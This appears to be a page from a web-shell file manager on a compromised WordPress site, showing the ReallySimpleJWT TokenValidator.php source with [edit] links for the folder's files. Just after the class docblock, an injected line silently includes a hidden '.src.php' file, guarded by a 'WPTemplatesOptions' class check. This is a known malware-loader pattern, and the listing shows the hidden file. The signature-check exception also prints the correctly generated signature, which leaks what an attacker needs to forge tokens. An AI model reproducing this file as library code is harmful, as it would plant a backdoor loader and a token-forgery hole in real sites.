ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wilcity-mobile-app / vendor / rbdwllr / reallysimplejwt / src

<?php namespace ReallySimpleJWT;

use ReallySimpleJWT\Helper\Signature;
use ReallySimpleJWT\Helper\TokenEncodeDecode;
use ReallySimpleJWT\Helper\DateTime;
use ReallySimpleJWT\Exception\TokenValidatorException;
use stdClass;
use Carbon\Carbon;

/**
 * Class that validates a JSON Web Token based on the HS256 signature and the
 * expiration date.
 *
 * @author Rob Waller <rdwaller1984@gmail.com>
 */
if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class TokenValidator extends TokenAbstract
{
    /**
     * The header string of the JSON Web Token
     *
     * @var string
     */
    private $header;

/**
     * The payload string of the JSON Web Token
     *
     * @var string
     */
    private $payload;

/**
     * The signature string of the JSON Web Token
     *
     * @var string
     */
    private $signature;

/**
     * Check the JWT token string has a valid structre and it into its three
     * component parts, header, payload and signature
     *
     * @param string $tokenString
     *
     * @return TokenValidator
     */
    public function splitToken(string $tokenString): TokenValidator
    {
        $tokenParts = explode('.', $tokenString);

if (count($tokenParts) === 3) {
            $this->header = $tokenParts[0];
            $this->payload = $tokenParts[1];
            $this->signature = $tokenParts[2];

return $this;
        }

throw new TokenValidatorException(
            'Token string has invalid structure, ensure three strings seperated by dots.'
        );
    }

/**
     * Validate that the JWT expiration date is valid and has not expired.
     *
     * @return TokenValidator
     */
    public function validateExpiration(): TokenValidator
    {
        if (
            DateTime::olderThan(
                DateTime::now(),
                $this->parseExpiration($this->getExpiration())
            )
        ) {
            throw new TokenValidatorException('This token has expired!');
        }

return $this;
    }

/**
     * Parse the expiration string or integer into a Carbon object
     *
     * @param mixed $expiration
     * @return Carbon
     */
    private function parseExpiration($expiration): Carbon
    {
        return is_numeric($this->getExpiration()) ?
            DateTime::createFromTimestamp($expiration) :
            DateTime::parse($expiration);
    }

/**
     * Generate a new Signature object based on the header, payload and secret
     * then check that the signature matches the token signature
     *
     * @param string $secret
     *
     * @return bool
     */
    public function validateSignature(string $secret): bool
    {
        $signature = new Signature($this->getHeader(), $this->getPayload(), $secret, $this->getHash());

if (hash_equals($signature->get(), $this->signature)) {
            return true;
        }

throw new TokenValidatorException(
            'Token signature is invalid!! Input: ' . $this->signature . ' !== Generated: ' . $signature->get()
        );
    }

/**
     * Json decode the JWT payload and return the expiration attribute
     *
     * @return string
     */
    public function getExpiration(): string
    {
        $payload = json_decode($this->getPayload());

if (isset($payload->exp)) {
            return  $payload->exp;
        }

throw new TokenValidatorException(
            'Bad payload object, no expiration parameter set'
        );
    }

/**
     * Base 64 decode and return the JWT payload
     *
     * @return string
     */
    public function getPayload(): string
    {
        return TokenEncodeDecode::decode($this->payload);
    }

/**
     * Base 64 decode and return the JWT header
     *
     * @return string
     */
    public function getHeader(): string
    {
        return TokenEncodeDecode::decode($this->header);
    }

/**
     * Return payload but decode JSON string to stdClass first
     *
     * @return stdClass
     */
    public function getPayloadDecodeJson(): stdClass
    {
        return json_decode($this->getPayload());
    }

/**
     * Return header but decode JSON string to stdClass first
     *
     * @return stdClass
     */
    public function getHeaderDecodeJson(): stdClass
    {
        return json_decode($this->getHeader());
    }
}

[+] ..
[-] Token.php [edit]
[-] TokenAbstract.php [edit]
[-] TokenValidator.php [edit]
[+] Helper
[-] .src.php [edit]
[-] TokenBuilder.php [edit]
[+] Exception